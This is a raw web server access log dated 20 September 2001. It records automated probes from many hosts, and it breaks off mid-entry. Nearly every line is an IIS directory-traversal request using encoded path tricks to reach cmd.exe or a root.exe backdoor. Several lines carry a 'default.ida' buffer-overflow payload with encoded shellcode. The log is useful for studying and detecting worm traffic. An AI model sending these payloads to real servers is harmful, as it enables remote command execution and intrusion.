acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:02:42: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 11:13:18: c04-036.012.popsite.net [64.24.44.36] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 11:13:22: c04-036.012.popsite.net [64.24.44.36] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:26: c04-036.012.popsite.net [64.24.44.36] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:30: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:33: c04-036.012.popsite.net [64.24.44.36] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:37: c04-036.012.popsite.net [64.24.44.36] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:40: c04-036.012.popsite.net [64.24.44.36] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:43: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:47: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:50: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:53: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:13:57: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:14:00: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:14:03: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:14:06: c04-036.012.popsite.net [64.24.44.36] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:14:09: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:57: webserver.fs.uci.edu [128.200.135.92] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:58: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:38:59: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:39:00: webserver.fs.uci.edu [128.200.135.92] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 11:39:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 12:04:42: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:37: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:38: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:44:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 12:55:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:55:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 12:57:17: kahu.aloha.net [207.12.14.61] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 13:18:54: kahu.aloha.net [207.12.14.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 13:18:55: kahu.aloha.net [207.12.14.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:18:56: kahu.aloha.net [207.12.14.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:18:57: kahu.aloha.net [207.12.14.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:02: kahu.aloha.net [207.12.14.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:03: kahu.aloha.net [207.12.14.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:04: kahu.aloha.net [207.12.14.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:04: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:05: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:06: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:07: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:07: kahu.aloha.net [207.12.14.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:08: kahu.aloha.net [207.12.14.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:09: kahu.aloha.net [207.12.14.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:10: kahu.aloha.net [207.12.14.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 13:19:10: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 13:38:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 13:43:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 14:11:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 14:11:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:11:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:11:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:20:24: [64.208.123.229] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 14:21:07: [64.208.123.229] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 14:21:26: [64.208.123.229] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:21:45: [64.208.123.229] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:22:04: [64.208.123.229] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:22:22: [64.208.123.229] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:22:41: [64.208.123.229] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:22:59: [64.208.123.229] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:23:18: [64.208.123.229] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:23:37: [64.208.123.229] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:23:56: [64.208.123.229] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:24:15: [64.208.123.229] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:24:34: [64.208.123.229] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:24:52: [64.208.123.229] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:25:11: [64.208.123.229] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:25:30: [64.208.123.229] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:25:49: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/root.exe?/c+dir 